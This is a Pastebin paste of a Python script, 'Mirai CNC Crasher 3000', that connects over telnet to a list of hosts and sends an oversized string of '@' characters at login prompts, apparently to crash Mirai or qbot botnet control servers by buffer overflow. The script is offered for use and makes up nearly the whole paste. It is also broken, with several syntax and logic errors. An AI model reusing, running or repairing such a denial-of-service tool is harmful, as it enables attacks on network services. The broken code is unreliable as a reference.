miraip0ts

mirai_crasher_3000

Sep 7th, 2017
1,749
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.81 KB | None | 0 0
  1. # Mirai CNC Crasher 3000 By Sniggers
  2.  
  3. # just put the mirai/qbot binary file that u want to crash
  4.  
  5. import sys, telnetlib, time
  6. from threading import Thread
  7.  
  8. filename = sys.argv[0]
  9.  
  10. if len(sys.argv) < 2:
  11.     sys.exit("Usage: %s <cnc file>")%filename
  12.  
  13. host = open(sys.argv[1], "r").readlines()
  14. port = 23
  15. timeout = 3
  16. buff_ovaflow = "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
  17. tn = telnetlib.Telnet()
  18.  
  19. def conn(keksome):
  20.     try:
  21.         tn.open(keksome, port, timeout)
  22.         pdata = tn.read_all()
  23.         if "sername" in pdata or "ogin" in pdata or "mпользователь"
  24.             tn.write(buff_ovaflow)
  25.         else:
  26.             tn.close()
  27.             print "[ERROR]: Couldn't Find Login Prompt On -> %s\n"%keksome
  28.        
  29. for kek in host:
  30.     kek.replace("https://", "")
  31.     kek.replace("http://", "")
  32.     kek.replace("/", "")
  33.     proc = Thread(target=conn, args(host,))
  34.     proc.start()
  35.     time.sleep(0.8)
Advertisement
Add Comment
Please, Sign In to add comment